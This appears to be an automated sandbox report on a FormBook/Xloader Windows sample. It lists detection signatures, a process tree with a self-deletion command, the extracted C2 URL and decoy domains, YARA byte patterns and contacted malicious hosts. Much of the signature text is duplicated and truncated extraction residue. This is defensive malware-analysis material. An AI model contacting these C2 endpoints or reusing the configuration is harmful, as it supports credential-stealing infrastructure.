
ID: 502358
Sample Name:
56460021473877.exe
Cookbook: default.jbs
Time: 20:33:16
Date: 13/10/2021
Version: 33.0.0 White Diamond
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Analysis Process: 56460021473877.exe PID: 5276 Parent PID: 5240
General
File Activities

File Read
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General
File Activities
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General
File Activities

File Read

Analysis Process: cmd.exe PID: 7156 Parent PID: 980
General
File Activities

Analysis Process: conhost.exe PID: 7024 Parent PID: 7156
General

Disassembly
Code Analysis
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Windows Analysis Report 56460021473877.exe

Overview

General Information

Sample 
Name:

56460021473877.exe

Analysis ID: 502358

MD5: d95e9bb2fa064a9…

SHA1: 6b045974084794…

SHA256: b499be4b6955ee…

Tags: exe Xloader

Infos:

Most interesting Screenshot:

Detection

FormBookFormBook

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.Snort IDS alert for network traffic (e.……

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBookYara detected FormBook

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through Malicious sample detected (through ……

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3Yara detected AntiVM3

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networSystem process connects to networ……

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for domaMulti AV Scanner detection for doma……

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing techSample uses process hollowing tech……

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into anMaps a DLL or memory area into an……

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and otherTries to detect sandboxes and other……

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd deleteSelf deletion via cmd delete

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia.NET source code contains potentia……

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proceInjects a PE file into a foreign proce……

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process Queues an APC in another process ……

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization throughTries to detect virtualization through……

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in aModifies the context of a thread in a……

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware conC2 URLs / IPs found in malware con……

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE filesUses 32bit PE files

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (namQueries the volume information (nam……

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature matchYara signature match

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detecAntivirus or Machine Learning detec……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / aFound potential string decryption / a……

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proceSample execution stops while proce……

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native fContains functionality to call native f……

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user HTTP GET or POST without a user ……

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with oIP address seen in connection with o……

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution Contains functionality for execution ……

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)Contains long sleeps (>= 3 min)

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often foCreates a DirectInput object (often fo……

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likelyFound inlined nop instructions (likely……

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original Sample file is different than original ……

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resourcesPE file contains strange resources

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEBContains functionality to read the PEB

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is beinChecks if the current process is bein……

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access loadContains functionality to access load……

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

56460021473877.exe (PID: 5240 cmdline: 'C:\Users\user\Desktop\56460021473877.exe'  MD5: D95E9BB2FA064A984C391B5BFC1D01E6)

56460021473877.exe (PID: 5276 cmdline: C:\Users\user\Desktop\56460021473877.exe MD5: D95E9BB2FA064A984C391B5BFC1D01E6)

explorer.exe (PID: 3424 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

control.exe (PID: 980 cmdline: C:\Windows\SysWOW64\control.exe MD5: 40FBA3FBFD5E33E0DE1BA45472FDA66F)

cmd.exe (PID: 7156 cmdline: /c del 'C:\Users\user\Desktop\56460021473877.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 7024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Process Tree

Malware Configuration

Threatname: FormBook
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{

  "C2 list": [

    "www.nottryingdoing.com/ni8b/"

  ],

  "decoy": [

    "billaning.com",

    "nhmingwei.com",

    "sapphiremodule.com",

    "533washingtonave.com",

    "dlscord-partners.com",

    "303cf.com",

    "hooleyfamilygoods.com",

    "productiongv.com",

    "intaom.com",

    "juanmarket.net",

    "thecrystalconsciousness.com",

    "sgosthirxz.sbs",

    "solobookings.com",

    "formulaonline.xyz",

    "gulliblegirls.com",

    "pureselva.com",

    "rusporn.xxx",

    "ed-institute.com",

    "serviciosgeneralesjba.online",

    "4x4pac.com",

    "trpgame.com",

    "shopbeerbelly.com",

    "box-770.com",

    "3tshaircreations.com",

    "nstyle.one",

    "txsports.club",

    "chirmano.com",

    "herehardcore.com",

    "shoetowers.com",

    "flipkartsdealscart.xyz",

    "lechila.com",

    "aag-trading.com",

    "werloshop.com",

    "bcmegroupbrd.xyz",

    "bogosamba.com",

    "sehermughal.com",

    "flexzapato.online",

    "citestaccnt1631552650.com",

    "anisyuko.xyz",

    "norllix.com",

    "socichat.one",

    "mia-mania.net",

    "web3designstudio.com",

    "eastsidescooters.com",

    "mymillionmission.com",

    "media777.club",

    "undeclined.info",

    "zhongrct.com",

    "sifangktv.mobi",

    "lindseystirlingvip.com",

    "kiccleaningservicesfl.com",

    "rafaelelais.com",

    "davewalkergreenberet.com",

    "prideparties.com",

    "ouzoudcaro.com",

    "ps-sac.com",

    "holmdelfirst.com",

    "ville-fogalmam.com",

    "sellmycarhudsoncounty.com",

    "celltecstore.com",

    "australiapost.digital",

    "rajinderbeas.com",

    "cabofishingreport.com",

    "purpari.com"

  ]

}

Source Rule Description Author Strings

00000004.00000000.752209654.000000000EEF
1000.00000040.00020000.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

Yara Overview

Memory Dumps

Copyright Joe Security LLC 2021 Page 5 of 27



Sigma Overview

00000004.00000000.752209654.000000000EEF
1000.00000040.00020000.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x46b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 
74 94
0x41a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x47b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9b87:$sequence_8: 3C 54 74 04 3C 74 75 F4
0xac2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

00000004.00000000.752209654.000000000EEF
1000.00000040.00020000.sdmp

Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x6ab9:$sqlite3step: 68 34 1C 7B E1
0x6bcc:$sqlite3step: 68 34 1C 7B E1
0x6ae8:$sqlite3text: 68 38 2A 90 C5
0x6c0d:$sqlite3text: 68 38 2A 90 C5
0x6afb:$sqlite3blob: 68 53 D8 7F 8C
0x6c23:$sqlite3blob: 68 53 D8 7F 8C

00000008.00000002.940519272.0000000002830000.00000
040.00020000.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

00000008.00000002.940519272.0000000002830000.00000
040.00020000.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x8608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x89a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x146b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x141a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x147b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x1492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x1341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa132:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19b87:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1ac2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 24 entries

Source Rule Description Author Strings

Source Rule Description Author Strings

3.2.56460021473877.exe.400000.0.raw.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

3.2.56460021473877.exe.400000.0.raw.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x8608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x89a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x146b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x141a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x147b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x1492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x1341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa132:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19b87:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1ac2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

3.2.56460021473877.exe.400000.0.raw.unpack Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x16ab9:$sqlite3step: 68 34 1C 7B E1
0x16bcc:$sqlite3step: 68 34 1C 7B E1
0x16ae8:$sqlite3text: 68 38 2A 90 C5
0x16c0d:$sqlite3text: 68 38 2A 90 C5
0x16afb:$sqlite3blob: 68 53 D8 7F 8C
0x16c23:$sqlite3blob: 68 53 D8 7F 8C

3.2.56460021473877.exe.400000.0.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

3.2.56460021473877.exe.400000.0.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x7808:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x7ba2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x138b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x133a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x139b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x13b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x85ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x1261c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9332:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x18d87:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x19e2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 8 entries

Unpacked PEs
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No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Found malware configuration

Yara detected FormBook

Multi AV Scanner detection for domain / URL

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

C2 URLs / IPs found in malware configuration

E-Banking Fraud:

Yara detected FormBook

System Summary:

Malicious sample detected (through community Yara rule)

Data Obfuscation:

.NET source code contains potential unpacker

Hooking and other Techniques for Hiding and Protection:

Self deletion via cmd delete

Malware Analysis System Evasion:

Yara detected AntiVM3

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Sample uses process hollowing technique

Maps a DLL or memory area into another process

Injects a PE file into a foreign processes

Queues an APC in another process (thread injection)

Modifies the context of a thread in another process (thread injection)

Stealing of Sensitive Information:

Copyright Joe Security LLC 2021 Page 7 of 27



Yara detected FormBook

Remote Access Functionality:

Yara detected FormBook

Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Network
Effects

Valid
Accounts

Shared
Modules 1

Path
Interception

Process
Injection 6 1 2

Masquerading 1 Input
Capture 1

Security Software
Discovery 2 2 1

Remote
Services

Input
Capture 1

Exfiltration
Over Other
Network
Medium

Encrypted
Channel 1

Eavesdrop on
Insecure
Network
Communication

Default
Accounts

Scheduled
Task/Job

Boot or
Logon
Initialization
Scripts

Boot or Logon
Initialization
Scripts

Disable or Modify
Tools 1

LSASS
Memory

Process Discovery 2 Remote
Desktop
Protocol

Archive
Collected
Data 1

Exfiltration
Over
Bluetooth

Ingress Tool
Transfer 1

Exploit SS7 to
Redirect Phone
Calls/SMS

Domain
Accounts

At (Linux) Logon Script
(Windows)

Logon Script
(Windows)

Virtualization/Sandbox
Evasion 3 1

Security
Account
Manager

Virtualization/Sandbox
Evasion 3 1

SMB/Windows
Admin Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

Non-
Application
Layer
Protocol 2

Exploit SS7 to
Track Device
Location

Local
Accounts

At
(Windows)

Logon Script
(Mac)

Logon Script
(Mac)

Process
Injection 6 1 2

NTDS Remote System
Discovery 1

Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Application
Layer
Protocol 1 2

SIM Card
Swap

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

Deobfuscate/Decode
Files or Information 1

LSA
Secrets

System Information
Discovery 1 1 2

SSH Keylogging Data
Transfer
Size Limits

Fallback
Channels

Manipulate
Device
Communication

Replication
Through
Removable
Media

Launchd Rc.common Rc.common Obfuscated Files or
Information 4

Cached
Domain
Credentials

System Owner/User
Discovery

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communication

Jamming or
Denial of
Service

External
Remote
Services

Scheduled
Task

Startup
Items

Startup Items Software
Packing 1 3

DCSync Network Sniffing Windows
Remote
Management

Web
Portal
Capture

Exfiltration
Over
Alternative
Protocol

Commonly
Used Port

Rogue Wi-Fi
Access Points

Drive-by
Compromise

Command
and
Scripting
Interpreter

Scheduled
Task/Job

Scheduled
Task/Job

File Deletion 1 Proc
Filesystem
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Behavior Graph
ID: 502358

Sample: 56460021473877.exe

Startdate: 13/10/2021

Architecture: WINDOWS

Score: 100

www.serviciosgeneralesjba.online www.sapphiremodule.com serviciosgeneralesjba.online

Snort IDS alert for
network traffic (e.g.

based on Emerging Threat
rules)

Multi AV Scanner detection
for domain / URL Found malware configuration 6 other signatures

56460021473877.exe

3

        started       

Tries to detect virtualization
through RDTSC time measurements

Injects a PE file into
a foreign processes

56460021473877.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Sample uses process
hollowing technique

Queues an APC in another
process (thread injection)

explorer.exe

injected

rajinderbeas.com

216.10.241.4, 49831, 80

PUBLIC-DOMAIN-REGISTRYUS

India

www.box-770.com

213.186.33.5, 49833, 80

OVHFR

France

13 other IPs or domains

System process connects
to network (likely due
to code injection or

exploit)

control.exe

        started       

Self deletion via cmd
delete

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Tries to detect virtualization
through RDTSC time measurements

cmd.exe

1

        started       

conhost.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots
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No Antivirus matches

No Antivirus matches

Source Detection Scanner Label Link Download

3.2.56460021473877.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

Source Detection Scanner Label Link

serviciosgeneralesjba.online 6% Virustotal Browse

www.sapphiremodule.com 1% Virustotal Browse

txsports.club 1% Virustotal Browse

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs
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https://www.virustotal.com/gui/url/9a88ef3856b28b631a1049156bf1bc811b170f3a8e2e437a7c90adf7b0fb2c9e/detection/u-9a88ef3856b28b631a1049156bf1bc811b170f3a8e2e437a7c90adf7b0fb2c9e-1633486000
https://www.virustotal.com/gui/url/635e582a0fb16b43ecacdc7334d935d0834890eb2d0c3367d50d464b323f17bc/detection/u-635e582a0fb16b43ecacdc7334d935d0834890eb2d0c3367d50d464b323f17bc-1633513730
https://www.virustotal.com/gui/url/a67574a4e382ad676ab22bae3a741bd9b8ff1502e84648032f70f161150f7a52/detection/u-a67574a4e382ad676ab22bae3a741bd9b8ff1502e84648032f70f161150f7a52-1632898220


Source Detection Scanner Label Link

www.txsports.club/ni8b/?
ZfEhPp=lGGQ0sEZ2PLdmlcqvZgUhQs2XHM9QQiXiItD8ZWi5Y/Bd+WpsK3C+f5erJECmSl9JpeM&kTY=
TdZdU

0% Avira URL Cloud safe

www.founder.com.cn/cn/bThe 0% URL Reputation safe

www.rajinderbeas.com/ni8b/?
ZfEhPp=NtJPN2JufTPSUZxhVG2lwHAXNu/91wCxk6QRP91Jym6+DWJgifkFBuY1HfUXqRvRWjoF&kTY
=TdZdU

0% Avira URL Cloud safe

www.tiro.com 0% URL Reputation safe

www.fontbureau.comceomz 0% Avira URL Cloud safe

www.goodfont.co.kr 0% URL Reputation safe

www.fontbureau.coma 0% URL Reputation safe

www.nhmingwei.com/ni8b/?
ZfEhPp=bnsPHpJ0JXfYedDeyyRM0T59hyvcJozMf52DwVsUkht3MP5YfvQl77Z8cLzJCfxgsHVQ&kTY=T
dZdU

0% Avira URL Cloud safe

www.collada.org/2005/11/COLLADASchema9Done 0% URL Reputation safe

www.carterandcone.coml 0% URL Reputation safe

thecrystalconsciousness.com/ni8b/?
ZfEhPp=JVySAPp733wZmQfNstMcOnNrXbLvf0xUB0jZ2Inh4UzmMU775P3S

0% Avira URL Cloud safe

www.sajatypeworks.com 0% URL Reputation safe

www.typography.netD 0% URL Reputation safe

www.founder.com.cn/cn/cThe 0% URL Reputation safe

www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe

fontfabrik.com 0% URL Reputation safe

www.founder.com.cn/cn 0% URL Reputation safe

www.box-770.com/ni8b/?
ZfEhPp=5gklYs16rcBoTPwexQgZaEg2WcCOIBmXVnGtPO+7DRUqV3YS52r/gKUkKnDwsfv+vOIy&kTY
=TdZdU

0% Avira URL Cloud safe

www.celltecstore.com/ni8b/?
ZfEhPp=Zvg5mbxlh1FEUeAb4a18wQGVMNqECI22VVMpQ/dBRbKZgYLiDL5+JoutiYtpnsrAj+vq&kTY=T
dZdU

0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/ 0% URL Reputation safe

www.galapagosdesign.com/DPlease 0% URL Reputation safe

www.sandoll.co.kr 0% URL Reputation safe

www.thecrystalconsciousness.com/ni8b/?
ZfEhPp=JVySAPp733wZmQfNstMcOnNrXbLvf0xUB0jZ2Inh4UzmMU775P3StTy/F8q5n6jJiQm6&kTY=T
dZdU

0% Avira URL Cloud safe

www.urwpp.deDPlease 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe

www.nottryingdoing.com/ni8b/ 0% Avira URL Cloud safe

www.sakkal.com 0% URL Reputation safe

Name IP Active Malicious Antivirus Detection Reputation

serviciosgeneralesjba.online 68.65.120.219 true true 6%, Virustotal, Browse unknown

www.sapphiremodule.com 44.227.65.245 true true 1%, Virustotal, Browse unknown

www.nhmingwei.com 154.208.173.144 true true unknown

txsports.club 148.72.177.185 true true 1%, Virustotal, Browse unknown

rajinderbeas.com 216.10.241.4 true true unknown

thecrystalconsciousness.com 31.170.167.144 true true unknown

ps-sac.com 67.205.83.103 true true unknown

www.box-770.com 213.186.33.5 true true unknown

mitiendanube.com 52.5.157.71 true false high

www.txsports.club unknown unknown true unknown

www.eastsidescooters.com unknown unknown true unknown

www.celltecstore.com unknown unknown true unknown

www.rajinderbeas.com unknown unknown true unknown

www.thecrystalconsciousness.com unknown unknown true unknown

www.ps-sac.com unknown unknown true unknown

www.serviciosgeneralesjba.online unknown unknown true unknown

www.ville-fogalmam.com unknown unknown true unknown

Domains and IPs

Contacted Domains

Contacted URLs
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https://www.virustotal.com/gui/url/9a88ef3856b28b631a1049156bf1bc811b170f3a8e2e437a7c90adf7b0fb2c9e/detection/u-9a88ef3856b28b631a1049156bf1bc811b170f3a8e2e437a7c90adf7b0fb2c9e-1633486000
https://www.virustotal.com/gui/url/635e582a0fb16b43ecacdc7334d935d0834890eb2d0c3367d50d464b323f17bc/detection/u-635e582a0fb16b43ecacdc7334d935d0834890eb2d0c3367d50d464b323f17bc-1633513730
https://www.virustotal.com/gui/url/a67574a4e382ad676ab22bae3a741bd9b8ff1502e84648032f70f161150f7a52/detection/u-a67574a4e382ad676ab22bae3a741bd9b8ff1502e84648032f70f161150f7a52-1632898220


General Information

Joe Sandbox Version: 33.0.0 White Diamond

Analysis ID: 502358

Start date: 13.10.2021

Start time: 20:33:16

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 11m 8s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: 56460021473877.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 
analysed:

17

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Name Malicious Antivirus Detection Reputation

www.txsports.club/ni8b/?
ZfEhPp=lGGQ0sEZ2PLdmlcqvZgUhQs2XHM9QQiXiItD8ZWi5Y/Bd+WpsK3C+f5erJECmSl9J
peM&kTY=TdZdU

true Avira URL Cloud: safe unknown

www.rajinderbeas.com/ni8b/?
ZfEhPp=NtJPN2JufTPSUZxhVG2lwHAXNu/91wCxk6QRP91Jym6+DWJgifkFBuY1HfUXqRvR
WjoF&kTY=TdZdU

true Avira URL Cloud: safe unknown

www.nhmingwei.com/ni8b/?
ZfEhPp=bnsPHpJ0JXfYedDeyyRM0T59hyvcJozMf52DwVsUkht3MP5YfvQl77Z8cLzJCfxgsHV
Q&kTY=TdZdU

true Avira URL Cloud: safe unknown

www.box-770.com/ni8b/?
ZfEhPp=5gklYs16rcBoTPwexQgZaEg2WcCOIBmXVnGtPO+7DRUqV3YS52r/gKUkKnDwsfv+
vOIy&kTY=TdZdU

true Avira URL Cloud: safe unknown

www.celltecstore.com/ni8b/?
ZfEhPp=Zvg5mbxlh1FEUeAb4a18wQGVMNqECI22VVMpQ/dBRbKZgYLiDL5+JoutiYtpnsrAj+
vq&kTY=TdZdU

true Avira URL Cloud: safe unknown

www.thecrystalconsciousness.com/ni8b/?
ZfEhPp=JVySAPp733wZmQfNstMcOnNrXbLvf0xUB0jZ2Inh4UzmMU775P3StTy/F8q5n6jJiQ
m6&kTY=TdZdU

true Avira URL Cloud: safe unknown

www.nottryingdoing.com/ni8b/ true Avira URL Cloud: safe low

IP Domain Country Flag ASN ASN Name Malicious

213.186.33.5 www.box-770.com France 16276 OVHFR true

52.5.157.71 mitiendanube.com United States 14618 AMAZON-AESUS false

216.10.241.4 rajinderbeas.com India 394695 PUBLIC-DOMAIN-
REGISTRYUS

true

67.205.83.103 ps-sac.com Canada 32613 IWEB-ASCA true

31.170.167.144 thecrystalconsciousness.c
om

United States 47583 AS-HOSTINGERLT true

154.208.173.144 www.nhmingwei.com Seychelles 40065 CNSERVERSUS true

148.72.177.185 txsports.club United States 30083 AS-30083-GO-DADDY-
COM-LLCUS

true

URLs from Memory and Binaries

Contacted IPs

Public
